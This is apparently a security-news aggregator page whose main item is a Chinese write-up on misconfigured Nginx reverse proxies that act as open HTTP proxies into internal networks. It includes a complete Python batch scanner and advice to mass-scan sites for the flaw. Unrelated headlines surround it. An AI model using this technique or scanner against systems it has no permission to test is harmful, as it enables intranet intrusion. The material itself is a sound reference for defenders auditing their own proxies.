Aggregator
Tips and Tricks for Rolling Out Multi-Factor Authentication
Leveraging Government Transparency to Find Vulnerable Cellular Gateways
阅《汇编语言》记录的小结笔记及练习题(二)
fastjson 反序列化漏洞笔记,比较乱 - 羊小弟
Organizations Seek Help Fighting App-Focused DDoS Attacks Even as Total DDoS Attack Rates Stay Flat
Sinkholes and Internet Hygiene
AI与安全「1」Misuse AI
Come meet Randy in Orlando at Microsoft Ignite at Quest's Booth #1818
Come meet Randy in Orlando at Microsoft Ignite at Quest's Booth #1818
Today everything needs to be secure, but you need to start with Active Directory. Because if Active Directory isn’t secure – nothing else in your organization is regardless of operating system, security products or procedures.
That’s a strong statement but one that Randy Franklin Smith, creator of UltimateWindowsSecurity.com, will back up with facts. In this fast-paced presentation Randy will spotlight the multitudinous ways that virtually any component or information on your network can be compromised if the attacker first gains unauthorized access to AD.
The good news is that Active Directory was designed well and has stood the test of time with limited weaknesses being discovered. Active Directory security is a matter of design, comprehensive management and monitoring and this is the basis for a list of Fundamentals for Securing Active Directory that Randy will share. After his session come by the Quest booth and say hello to Randy and pick up a copy of his Security Log Quick Reference chart that he will be signing.
Why We Need Certificate Revocation
September 2018 Security Update Release
September 2018 Security Update Release
刺透内网的HTTP代理
在做测试的时候发现了这样一个漏洞,原请求报文如下:
GET / HTTP/1.1 Host: attack_website [... HEADER ...] ...当时最初目的是想测SSRF的,但是经过测试没发现存在漏洞后来想起之前看过的一些漏洞案例,将请求报文中的URI部分替换成了网址:
http://gh0st.cn
就变成了如下的请求:
GET http://gh0st.cn HTTP/1.1 Host: attack_website [... HEADER ...] ...在BurpSuite里进行重放测试发现返回的响应正文就是 http://gh0st.cn 的,也就是说这里的attack_website可以被作为HTTP代理,于是进入下一步的测试能否使用非http/https协议进行请求?例如file:///,测试后发现确实没办法这样玩,看来是这里代理服务器不支持。
在这里替换URI部分为内网的地址,可以直接漫游内网的系统,进行深入的渗透测试了,后续的事情就不在这多说了,那么来研究看看为什么会有这样的问题呢?
从被动偶然到主动发现 了解原理查阅了一番资料和询问了一下朋友,都说具体的不太清楚,后来看见这样一篇文章:
https://www.secpulse.com/archives/74676.html
其中所说原理大致是因为Nginx反向代理配置不当导致可以被作为正向代理,导致能被外部作为HTTP代理服务器。
正向代理 and 反向代理正向代理
- 浏览器(/全局)设置代理服务器IP和对应端口
- 浏览器输入目标地址->代理服务器->目标服务器
简而言之,正向代理类似我们经常用到的跳板机,利用代理去访问外部的资源。
反向代理
跟正代不同的地方在于反向代理相对浏览器来说是透明的,不需要在浏览器(/全局)做什么配置,而是有反向代理服务器自己做请求转发到其服务器上所配置的地址。
大致如下的流程:
- 浏览器访问网站(网站所指即反向代理服务器)
- 网站(反向代理服务器)做处理,将请求转发给所设置的目标服务器
- 由请求最终到达的目标服务器响应给网站(反向代理服务器),然后再通过其返回给浏览器
TIPs:
- 一、反向代理服务器也可以变成WAF(例如Nginx支持反代功能,nginx+lua也可以搭建网站waf)
- 二、反向代理服务器也可以起到负载均衡的作用,由反向代理服务器做选择分配Web服务器
脚本语言选择:python2.7
系统环境:all
思考如何判断这个网站存在可以作为HTTP代理访问资源?唯一特征是什么?
脑子中唯一的思路就是IP,如果这目标站点能作为HTTP代理访问资源,那么我设置的这个资源就是返回真实IP的,这样就可以判断了~
这里我在团队官网上小小的写了一个,但是在大批量去测试却无法使用,因为官网的空间没那么大的吞吐量,承载不住高并发,后期建议大家使用 http://httpbin.org/ip 这个接口~
http://www.hi-ourlife.com/getip.php
PHP代码:
<?php echo $_SERVER['REMOTE_ADDR']; ?> 代码构建Import 库
import urllib, sys, re, json全局变量:
poc = "http://www.hi-ourlife.com/getip.php"获取使用代理访问资源后内容(IP)函数:
def useProxy(site): try: res = urllib.urlopen(poc, proxies={'http': site}).read() return res except: return getIP()正常本机获取IP函数:
def getIP(): res = urllib.urlopen(poc).read() return res防止有些会出错返回的内容不是IP,其实返回不是IP也就间接证明不存在这种漏洞,所以需要写个正则来匹配,这时候判断是否是IP的函数就诞生了:
def isIP(ip): compileIP = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$') if compileIP.match(ip): return True else: return False对比IP函数:
def isVul(site): resA = getIP() #print resA resB = useProxy(site) #print resB if resA == resB or not isIP(resB): print "\033[1;33m[INFO]\033[0m No Vulnerability!" else: print "\033[1;31m[INFO]\033[0m Existing Vulnerability!" print "\033[1;36m[INFO]\033[0m Site:[ {0} ] -> RealIP:[ {1} ]".format(site, resB) 单线程批量从扫描器里把代码模板剥离了出来如下:
#-*- coding:utf-8 -*- #Author: Vulkey_Chen import urllib, sys, re poc = "http://www.hi-ourlife.com/getip.php" def useProxy(site): try: res = urllib.urlopen(poc, proxies={'http': site}).read() return res except: return getIP() def getIP(): res = urllib.urlopen(poc).read() return res def getSite(filename): f = open(filename) res = [] for line in f: res.append(line) return res def isIP(ip): compileIP = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$') if compileIP.match(ip): return True else: return False def isVul(site): resA = getIP() #print resA resB = useProxy(site) #print resB if resA == resB or not isIP(resB): print "\033[1;33m[INFO]\033[0m No Vulnerability!" else: print "\033[1;31m[INFO]\033[0m Existing Vulnerability!" print "\033[1;36m[INFO]\033[0m Site:[ {0} ] -> RealIP:[ {1} ]".format(site, resB) def main(filename): for i in getSite(filename): isVul(i.replace("\n","")) if __name__ == '__main__': main(sys.argv[1]) END使用方法:python proxy_vul.py urls.txt
urls.txt 格式:
http://www.hi-ourlife.com/ https://gh0st.cn/ http://mst.hi-ourlife.com:8080/建议批量方法:
扫描所有想检测站点的web服务端口(Nginx容器存在此类问题居多),然后使用脚本检测。
Achieving Equilibrium: a conversation about gender balance in STEM
In 2018, New Zealand and the United Kingdom are celebrating 125 and 100 years respectively of Women's suffrage. To mark these milestones the British High Commission and the Commonwealth Women Parliamentarians NZ Group hosted an interactive panel discussion on gender balance in STEM sectors